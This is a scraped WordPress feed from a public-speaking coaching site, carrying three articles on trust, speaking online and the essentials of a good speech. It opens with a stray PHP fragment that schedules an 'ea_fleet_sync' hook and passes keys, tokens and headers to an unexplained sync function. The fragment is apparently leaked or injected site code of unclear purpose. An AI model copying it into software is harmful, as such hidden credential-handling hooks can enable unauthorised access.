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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Change Archives - Now you're talking https://www.nowyouretalking.co.uk/tag/change/ Public speaking Mon, 31 Jan 2022 16:56:02 +0000 en-GB hourly 1 https://wordpress.org/?v=7.1 Can you be trusted? The skilful art of sincere speaking https://www.nowyouretalking.co.uk/2020/09/21/can-you-be-trusted-the-skilful-art-of-sincere-speaking/ Mon, 21 Sep 2020 13:59:38 +0000 https://www.nowyouretalking.co.uk/?p=1297 Across the globe, we trust scientists, doctors and teachers.  Over half of us consider these professions to be trustworthy (Ipsos Global Advisor). Business leaders don’t fare so well, with just one in five being described as trustworthy. Perhaps not unexpectedly,…

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]]> Across the globe, we trust scientists, doctors and teachers.  Over half of us consider these professions to be trustworthy (Ipsos Global Advisor). Business leaders don’t fare so well, with just one in five being described as trustworthy. Perhaps not unexpectedly, politicians are at the bottom of the heap with a mere one in ten of us placing our trust in them! Sincere speaking is integral to building trust.

What is it about scientists, doctors and teachers that makes us trust them? We tend to associate them with putting us above their own self-interest, caring about what happens to us. They have integrity, seemingly share our values and we tend to consider them competent and reliable. When they speak to us, we sense their sincerity and credibility. That trust matters because it creates a connection, a willingness to listen and engage and, ultimately, to do business.

To become business owners that people trust, sincere speaking and presenting are our golden opportunity to develop trust among potential clients, employees and other stakeholders. Whether on Zoom or in person in the room, you need to demonstrate your trustworthiness across the three communication essentials of Connection, a message that drives Change and Confidence.

Connection

Trustworthy connections happen when you demonstrate you’re likable, as well as competent, reliable and engaging. The more you know about your audience, the stronger your ability to connect sincerely with them and influence their thinking and behaviour on their terms.

Consider for a moment pitching for new business. You don’t just focus on the product or service you’re offering, but also what the working relationship will be like. You’re selling trust that you can deliver, but also an experience the client will enjoy.

Likeability and shared values

If audiences don’t like us, they won’t connect with us or what we have to say. So our first job, when we are in front of an audience, is to give them things to like. This means we need to make people feel good about us. Think about how you connect with people socially. You probably smile, make good eye contact, talk in a friendly and interested conversational style, etc.

This works when you’re being yourself, openly and sincerely, with nothing to hide, sharing personal stories and vulnerabilities. By showing people who you are, your beliefs and values, they can relate to you as a fellow human being and begin to trust you.

As far as possible, choose to talk about subjects that you care about, your ‘why’. Granted, this may not always be possible. In such situations, try to find angles that are important to you and matter to your listeners. When you talk about something you care about, sincere speaking and enthusiasm for your subject shine through. Assuming you’ve taken care to choose a topic that’s relevant to your audience, they will connect and engage with you.

It’s no coincidence that judges on reality TV shows talk about a contestant being relatable. This happens when someone comes across as a potential friend. They can feel the person’s vulnerability and humanity.

Part of this process involves using language and gestures that are aligned with your listeners’. In addition, the word ‘you’ in the English language feels personal and caring. It gives the sense that you’re having a one-to-one conversation with each person in your audience.

In business, we don’t just trade products and services, but also the experience of working together. We need to convey the quality of that experience, so presenting ourselves as likeable is key.

Competence and reliability

However, likeability alone is not enough. When Mr Bean travels to America with the responsibility of bringing a highly valuable painting to a Los Angeles museum, he is likeable, but far from competent or reliable. What you say also needs to be well researched and accurate as evidence of your competence and reliability. Testimonials and recommendations can also help here.

A combination of evidenced information, illustrated with relevant and relatable stories and anecdotes connects, engages and stands out.

Storytelling connects us as human beings. Opening a presentation with a well-crafted and relevant personal story will captivate an audience. And because it’s personal, it’s authentic and uniquely yours to tell. Stories are not only relatable, but they are also memorable and far more so than facts and figures. So, judiciously used stories and anecdotes that are relevant and presented in the appropriate speaking style for your audience are invaluable in connecting with your audience and making a positive impact.

Your delivery is perhaps even more important in demonstrating competence and reliability as a business leader, supplier or employer. Congruence is paramount in transmitting sincerity and trustworthiness because your body doesn’t lie. If your words don’t match your facial expressions or hand gestures, audiences will believe what they see over what they hear.

Try to use gestures and expressions that feel natural and reinforce your words and meaning. Be aware of your body language in everyday conversation and bring that authenticity to your speeches and presentations. Scale up or down for the size of your audience and the platform (dial it up for a large conference style, down for a smaller video meeting).

A sincere message that drives change

We’re seeing increasing numbers of articles about Zoom fatigue and Teams tedium. As business owners, we have a responsibility to make sure we’re not adding to this groundswell of disappointing meetings and events that seem to lack purpose and relevance.

Speaking is a privilege, an opportunity to share your knowledge in a way that positively impacts others. There is no point in speaking if you are only going to tell people what they already know. Having researched your audience, you will have a good idea of what is relevant and a message they’ll value.

However, not any message will do. It needs to be something you also care about, so that your sincere speaking shines through, authentically.

The acid test is to swap places with your audience and answer the question “What do I get out of listening to this talk/presentation?” What’s in it for me? A key element of building trust in the way of a teacher or doctor is that they’re doing it for us. There’s no sense of self-interest in the way that we might suspect in a politician. It matters, personally.

To avoid self-interest and ensure we focus on the needs of our listeners we must start by thinking about our message and its value to them. When preparing a speech, try starting at the end. What do you want your audience to think, feel or do differently after they’ve heard your talk or presentation? What is the single most important message you need them to take away? Jot it down in large letters in fewer than ten words and keep it visible. Any content you try to include that doesn’t support your message, doesn’t belong in this particular talk or presentation.

Confident and sincere speaking

Confidence matters because it is part of your authority and credibility as a businessperson and as a speaker . It’s what Aristotle refers to as your ‘ethos’.

If you don’t feel confident in what you have to say, then why should your audience? When audiences sense you’re nervous, they may be more concerned about your wellbeing or even whether you have something to hide.

Authenticity is key here. We shouldn’t assume being confident means being extrovert, but it is about being yourself. People often say to me that they can’t be a good speaker because they are introverts and feel uncomfortable trying to show up as some high-energy, gregarious, perhaps larger-than-life version of themselves. Maintaining this persona is untenable and exhausting. It’s also unnecessary.

Public speaking isn’t about being a ‘big’ presence. When you’re yourself and talking about something that matters to you and your audience, people will listen. Quiet confidence is still confidence. People like Bill Gates, JK Rowling and Mahatma Gandhi are all testimony to how introverts can be great speakers. They understand that speaking is about connecting sincerely with their audience and sharing their ‘why’ to benefit others.

Sincere body language and voice are fundamental in communicating confidence and delivering trust:

  • A sincere smile engenders both likeability and trust.
  • Steady and assured eye contact helps people feel comfortable and willing to engage.
  • An open stance and posture show that you have nothing to hide. They send a signal to the audience that you are confident and open.
  • Your voice is part of who you are. Your accent is part of your identity. Authenticity is not about trying to hide or change your voice. Be proud of your voice and learn how to project it effectively to bring ease of understanding and interest to your listeners.

Sincere speaking styles

Sincerity is at the heart of skilful speeches, talks and presentations. It enables you to deliver a meaningful and memorable message to your audiences. It engenders trust in all aspects of your business and among all your stakeholders.

Of course, different audiences and speaking situations may well require different speaking styles. For instance, if you’re talking to a technical audience, they tend to favour visual aids and ‘data’ to support your message. That’s not to say that they don’t appreciate a story or anecdote, but they also value an evidence-based focus.

If your intention is to inspire, you probably need to share your personal story and reveal your vulnerabilities. Then  your audience can adopt your experience and learnings into their own lives. In these situations, slides can be an obstacle and undermine the emotional connection of your story.

During a new business pitch, you obviously need to demonstrate your competence for the proposed project, but also what it will be like to work with you. It is after all often the nature of the working relationship that differentiates one business offer from another.

Whatever style you deem appropriate to connect with, and delight, your audience, remaining ‘true to you’ is crucial. If you try to conceal the real you behind some persona, your audience will know and wonder what you’re hiding.

A final thought…

Trust is, arguably, your most important business asset. Without it, you’ll struggle to develop long-term and lucrative client relationships, have an enviable record in staff retention and be a go-to spokesperson for your other stakeholders. Sincere speaking will help you stand out as a trustworthy business leader and continuously build business success.

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]]> Speaking online is here to stay https://www.nowyouretalking.co.uk/2020/09/09/speaking-online-is-here-to-stay/ Wed, 09 Sep 2020 08:11:43 +0000 https://www.nowyouretalking.co.uk/?p=1266 Picture this… A two-day annual conference with talks, meetings, online shop and so much more. No auditorium, no chairs, no sounds of delegates networking and no smell of coffee. But an audience of some 800 nonetheless. Behind the scenes, two…

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]]> Picture this…
A two-day annual conference with talks, meetings, online shop and so much more. No auditorium, no chairs, no sounds of delegates networking and no smell of coffee. But an audience of some 800 nonetheless. Behind the scenes, two Zoom meetings. The audience in the first. Speakers, session chairs, tech teams and other officials in the second. And then there were breakout rooms for workshops and briefings. Even though it was a UK event, speakers were streamed in from around the world, no expense spared! When the event went live, the Zoom meeting with multiple rooms, speakers, etc was broadcast into the audience Zoom meeting. And all without a hitch! Speaking online  is here to stay.

The future may be ‘hybrid’, but expectations of how we speak and present online will continue to rise; expectations of speakers to be engaging, relevant and memorable if we want to stay visible, have clients and employees who enjoy working with us, and thrive in our businesses. We need to make time to shine online with the three communication essentials of Confidence, Connection and a message that drives Change.

Confident speaking online 

Confidence is vital online to help your listeners feel they’re in safe hands and can relax and concentrate on what you have to say. If you come across as unduly nervous, people will worry about your wellbeing and may even tune out. To hold their attention, you need to bring confident energy to the screen.

You’re on the small screen

Being online is like having a close up and every member of your audience has a front-row seat. You’re on the small screen and the camera and mic will pick up every detail, expression, gesture and sound. What can your audience see and hear and is it what you want them to see and hear?

Are you looking your best? Ensure your main light source is behind the camera so that you’re neither plunged into shadow nor dazzled by sunlight, making you squint or obliterating your eyes if you wear glasses. Capture a screenshot before you go live and know you look the part. Wearing block colours also make you look strong and professional.

Check your tech

Relying on technology can feel like working with children and animals. With all the checks in the world, things can still go wrong. If they do, keep calm, explain what’s happening and fix the problem. Even better, invite a participant to take care of the tech for you.

In addition, make sure your internet connection is as strong as it can be to minimise buffering.

Share confident energy

Think of all the non-verbal ways you can bring confident energy to the screen. For instance:

  • A genuine smile
  • An open and stable posture that is relaxed and assured
  • Dial down movement and gestures. Online, on the small screen, fidgeting distracts and big gestures that work in a large venue will overwhelm or fall out of view
  • Set the camera at just above eye level and look directly into the lens (not at the faces on your monitor) for open and sincere eye contact, while keeping any double chins at bay!
  • Breathe into the abdomen and relax your upper body so that your vocal tone is rich and strong and you mic doesn’t pick up any sign of nerves in your voice.

Connection when speaking online

Picture people queueing up to talk to you after you’ve given a talk, or piling questions into the chat. They’re there because you’ve connected with them, both in terms of the value you’ve given and the way you’ve made them feel. And online, it’s even more vital. If you want to stand out and have your listeners remember your talk or presentation, you need to connect emotionally with them:

“They may forget what you said, but they will never forget how you made them feel”
Carl W Buehner

What’s In It For Me?

Whether you’re pitching for work, inspiring your team, hosting a meeting or giving a conference paper, it’s your responsibility to know what your listeners are expecting from you and answer their all-important ‘What’s In It For Me’ question – as quickly as possible – so that you are relevant and on the pulse, and they have a reason to carry on listening. This means deep researching your audience so that you understand who they are, what they already know and what makes them tick.

Use inclusive language

Use of ‘you’ helps strengthen the relevance of your talk or presentation and make your listeners feel involved. In the English language, ‘you’ power implies a one-to-one conversation in the singular and, in the plural, includes everyone, creating both a strong feeling of inclusivity and a personal connection. ‘We’ is even stronger, giving the feeling of togetherness, teamwork and co-creation.

Barack Obama understood the power of ‘you’ and ‘we’. In his 2012 presidential election victory speech, he used the personal pronoun ‘I’ 36 times, ‘you/you’re/your’ 55 times and ‘we/us/our’ 97 times.

Stories trump PowerPoints

Human beings are hard wired to connect through storytelling and it comes into its own online. It makes us relatable, likable, engaging and memorable. And all the more so when we tell a relevant personal story, openly and honestly:

In her book  Lyn Roseaman observes:

“Engaging speakers share their message through stories. They can move an audience, even in
business settings, to feel, laugh or cry, and are memorable for all the right reasons”
Lyn Roseaman, ‘Now You’re Talking!’

In stark contrast, sharing your screen and wading through bullet points is neither engaging nor memorable and fast-track to your listeners tuning out. Prioritise relevant storytelling at every opportunity to avoid online fatigue and tedium.

Your message to drive Change

John F Kennedy said “The only reason to give a speech is to change the world.”

Speaking online – meetings, events, conversations – is your opportunity to remain visible, develop fresh ideas and deliver energy and momentum to online experiences.

Message for the moment

Meetings can sometimes lose sight of a clear purpose and message. Starting at the end of your presentation or meeting with how you want people to think, feel or act after they’ve listened to what you have to say will help you stay relevant, show you’re in touch and on point. Identify a message that is new and on point and then incorporate only content that supports it. Make it memorable and end with a call to action that justifies people’s attendance and put plans in place to follow up.

Make life easy when you’re speaking online

Our attention spans are short at the best of times and seemingly even shorter online, so it’s crucial to get to the point and stay relevant. In our enthusiasm for a subject, it’s easy to say too much and overwhelm our listeners along the way. Less is most definitely more online.

Structure and signpost your talk so that it is easy to follow. Choose a clear structure. Break up your presentation into small ‘chunks’ of some five minutes each, and top and tail each chunk with what you plan to cover and a keyword to sum it up as you move on to the next chunk. Signpost what you have to say to let your audience know the ‘road map’ for your talk so it’s clear and easy to follow.

Make it memorable with a rhythmic and rhyming anchor phrase that captures the essence of your talk in ten words or fewer, eg ‘Home is where we start from’ (Aileen Evans) or ‘It’s the world’s thinnest notebook (Steve Jobs).

Interact at every opportunity

In Zoom and Teams, you can create breakouts. Dividing your audience into smaller groups and sending them to separate ‘rooms’ where they can discuss a specific topic and report back to the main meeting engenders both energy and new ideas.

Aiming to make some 70% of the time interactive will make your meetings, talks and presentations more dynamic, relevant and memorable. To help things run smoothly, set ground rules online for listening to each other and not all talking at the same time!

Conclusion

Speaking online convincingly is here to stay. Prepare to go hybrid for the benefit of you and your business. In future we’ll need to shine online AND in physical locations, with our real audience in the same room.

For lots more practical tips and ideas to ace your speaking online, please enjoy my free download, ‘Now You’re Talking Online‘ or find my book, ‘Now You’re Talking – Take your speeches, talks and presentations to a wider audience and a bigger stage‘

A version of this article appeared in ESOMAR’s Research World as ‘Make some time to shine online’ and HR Director as ‘How to give your best performance in your next online presentation’

 

 

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]]> Speak up and make an impact https://www.nowyouretalking.co.uk/2020/05/17/speak-up-essentials-of-a-good-speech/ Sun, 17 May 2020 16:47:46 +0000 https://www.nowyouretalking.co.uk/?p=1051 “There are three essentials of a good speech or presentation – making a connection, having a message that drives change and delivering with confidence.” Now more than ever, being able to speak and present with impact is a fundamental life…

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]]> “There are three essentials of a good speech or presentation
– making a connection, having a message that drives change
and delivering with confidence.”

Now more than ever, being able to speak and present with impact is a fundamental life skill. It’s high on employers’ wish lists; you need it for meetings, networking, pitches and presentations, conference talks and keynotes. Speaking benefits far outweigh the costs, yet many of us turn down speaking opportunities rather than face the challenge and harness the three essentials of a good speech or presentation.

Why speaking is a good idea

Even before the advent of social media, speaking at conferences was part of my strategy for developing the Leisure, Travel and Tourism business area at MORI. And it worked, communicating expertise to large numbers of potential clients in the UK and overseas. The resulting papers provided impactful PR material and raised my personal and research credentials as a go-to sector specialist.

It’s no coincidence that the research industry now has, for example, AQR Young Disruptors, MRS &more and new speaker track at IIeX.

New research among speakers in ‘Now You’re Talking! Take your speeches, talks and presentations to a wider audience and a bigger stage’ sheds light on how we lose out when we shy away from speaking, and the opportunities it can bring to us as individuals, to our businesses and in terms of our collective research knowledge.

First, speaking at events raises your personal profile, especially on social media, showcases who you are and your ideas. It helps build your confidence, influence and reputation which, in turn, attracts opportunities and helps your career.

Second, speaking is also good for your organisation’s credibility and presence, and can bring new business derived from your authority as a speaker of value. Connecting with people who have listened to your conference talk is a less intimidating and warmer approach to new business relationships than a commercial pitch or networking.

Third, speaking strengthens our collective thinking and knowledge. Nowadays, we all have a voice and a channel for sharing our thoughts and opinions, though very little is new and often poorly curated. As speakers, we have a responsibility to deliver quality material of value to an audience that also drives forward ideas and thinking.

Being a good speaker is a real asset. But what makes a good speech and how can you build your own personal toolkit for giving one? The Now You’re Talking Speaker Survey reveals three essentials of a good speech – Connection, a message that drives Change and Confidence – the 3Cs.

Connection

If you can’t connect with your audience, you might as well be talking to yourself. Connection is not only about being likable – the smile, good eye contact, friendly conversational style, etc – but also about being relevant. And, with today’s notoriously short attention spans, you need to gain your audience’s attention and interest fast.

Picture yourself sitting in an audience. You’ve set aside the time, maybe even spent money to be there. You’re wondering ‘What’s in it for me?’ As a speaker, it’s your job to answer that question. To do that, you need to ‘deep research’ your audience. It’s not just about their name and job title. Depending on whether you’re talking to a larger, conference-style audience or debriefing a project team, key questions might cover the goals of the event, other speakers, audience profile, what they do/know/expect/how they talk and what do they most want from you.

The more you know about your audience, the stronger your ability to connect with them and influence their thinking and behaviour on their terms, ie answer their ‘What’s in it for me’ question.

And it’s not just about the content of your speech. Knowing your audience will also give you strong pointers about delivery – whether or not you need slides and how many, relevant stories, appropriate levels of energy, vocal variety, body language and so on.

A message that drives Change

Speaking is a privilege, an opportunity to share your knowledge in a way that positively impacts others. There is no point in speaking if you are only going to tell people what they already know. Having researched your audience, you will have a good idea of what they’ll value.

All too often we confuse audiences because we grab our data and start making slides without even thinking about our message and its value to our listeners.

Instead, try starting at the end. What do you want your audience to think, feel or do differently after they’ve heard your talk or presentation? What is the single most important message you need them to take away? Jot it down in large letters in fewer than ten words and keep it visible. Any content you try to include that doesn’t support your message doesn’t belong in this particular talk or presentation.

Confidence

“Confident speakers are frequent speakers,
so take every opportunity to speak up”

Confidence is one of the three essentials because it is part of your authority and credibility as a speaker. If you don’t feel confident in what you have to say, then why should your audience? When audiences sense your fear, they will often be more concerned about your wellbeing than about what you’re saying. Confidence allows your listeners to relax and engage with what you have to say; your message, not how you’re feeling.

Confident speakers are frequent speakers, so take every opportunity to speak up, be it to a small group of colleagues, in a meeting, on the phone, in a pitch or presentation. Get comfortable with speaking and use the opportunity to practise different techniques, eg voice projection, storytelling, opening a speech with impact, etc. Invite people to give you specific feedback on what they liked and any improvements they would welcome.

Building your speaker’s treasure trove

Your biggest ally as a speaker is you – your authentic self, your personal stories and experiences, your ideas, your style of speaking, your gestures and facial expressions. They are all uniquely yours and can help you express your vision in a way that is fresh and stands out. Here are some tips for building your treasure trove of ideas and techniques:

  • Keep a special place where you capture your ideas for speeches – phone, electronic notes, recorder, etc. The important thing is to capture the thought, because otherwise it will get lost in the busyness of your day.
  • Keep abreast of reliable sources of ideas, including Blinkist, quality publications, industry journals, TED Talks, etc. These may also give you some useful statistics or quotes for an attention-grabbing opening to a speech or talk.
  • Be aware of how you normally speak. Your tone of voice, speaking speed, volume will change to reflect different words and emotions. These will form the basis of your vocal styling in front of an audience.
  • Similarly, be mindful of your natural facial expressions, hand gestures and posture. They speak the truth. In the case where your non-verbal language and your words are incongruent, it’s the non-verbal communication people will believe.
  • Take note of the things you say that make people laugh. For most of us, this gentle, personal and often self-deprecating humour is far more powerful than stand-up-style jokes.
  • Practise different aspects of speaking at every opportunity.

Whether you’re an experienced researcher or at the beginning of your career, public speaking is a very good idea for you, your business and the industry’s collective knowledge. Embrace the three essentials of a good speech and finesse how you take your ideas to a bigger stage.

Originally published in MRS Impact Issue 29 April 2020

 

 

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